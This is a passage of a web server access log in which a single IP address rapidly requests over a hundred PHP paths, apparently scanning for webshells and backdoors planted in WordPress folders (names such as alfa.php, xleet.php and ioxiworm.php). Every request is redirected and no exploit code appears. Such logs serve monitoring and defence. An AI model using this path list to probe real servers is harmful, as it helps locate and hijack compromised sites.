(KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:53 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:43:53 +0300] "GET /wp-includes/infi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:53 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:53 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:53 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:43:53 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:54 +0300] "GET /images/index22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:54 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:43:54 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:54 +0300] "GET /wp-includes/pomo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:54 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:54 +0300] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:54 +0300] "GET /assets/script.js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:54 +0300] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:54 +0300] "GET /wp-admin/css/colors/sunrise/colors_95.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:54 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:43:54 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:54 +0300] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:43:55 +0300] "GET /cgi-bin/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:55 +0300] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:55 +0300] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:43:55 +0300] "GET /wp-includes/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:55 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:55 +0300] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:55 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:55 +0300] "GET /wp-includes/ID3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:55 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:55 +0300] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:55 +0300] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:56 +0300] "GET /.well-known/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:56 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:56 +0300] "GET /wp-admin/js/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:56 +0300] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:43:56 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:56 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:56 +0300] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.153.151.145 - - [17/Apr/2026:14:43:56 +0300] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:56 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:56 +0300] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:43:56 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:57 +0300] "GET /wp-includes/js/jquery/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:57 +0300] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:57 +0300] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:57 +0300] "GET /wp-includes/images/media/dog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:57 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:57 +0300] "GET /wp-includes/SimplePie/applicationd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:43:57 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:57 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:57 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:57 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:57 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:57 +0300] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:58 +0300] "GET /wp-includes/IXR/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:58 +0300] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:58 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:58 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:58 +0300] "GET /wp-content/plugins/seoo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:43:58 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:58 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:58 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:58 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:43:58 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:58 +0300] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:58 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:43:59 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:43:59 +0300] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:59 +0300] "GET /wp-admin/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:59 +0300] "GET /templates/beez3/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:59 +0300] "GET /wp-admin/css/colors/blue/ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:43:59 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:43:59 +0300] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:59 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:59 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:43:59 +0300] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:59 +0300] "GET /wp-includes/customize/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:44:00 +0300] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:00 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:00 +0300] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:00 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:00 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:00 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:00 +0300] "GET /wp-content/plugins/ioxi/ioxiworm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:00 +0300] "GET /blog/wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:00 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:44:00 +0300] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:00 +0300] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:01 +0300] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:01 +0300] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:01 +0300] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:01 +0300] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:01 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:01 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:01 +0300] "GET /wp-includes/css/dist/edit-widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:01 +0300] "GET /wp-includes/css/dist/edit-widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:01 +0300] "GET /wp-includes/Requests/src/Exception/Http/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:01 +0300] "GET /wp-includes/Text/Diff/Renderer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:44:01 +0300] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:02 +0300] "GET /wp-admin/css/colors/ocean/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:02 +0300] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:02 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:02 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:02 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:02 +0300] "GET /wp-admin/maint/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:02 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:02 +0300] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:02 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:03 +0300] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:03 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:03 +0300] "GET /blog/wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:03 +0300] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:03 +0300] "GET /blog/wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:03 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" 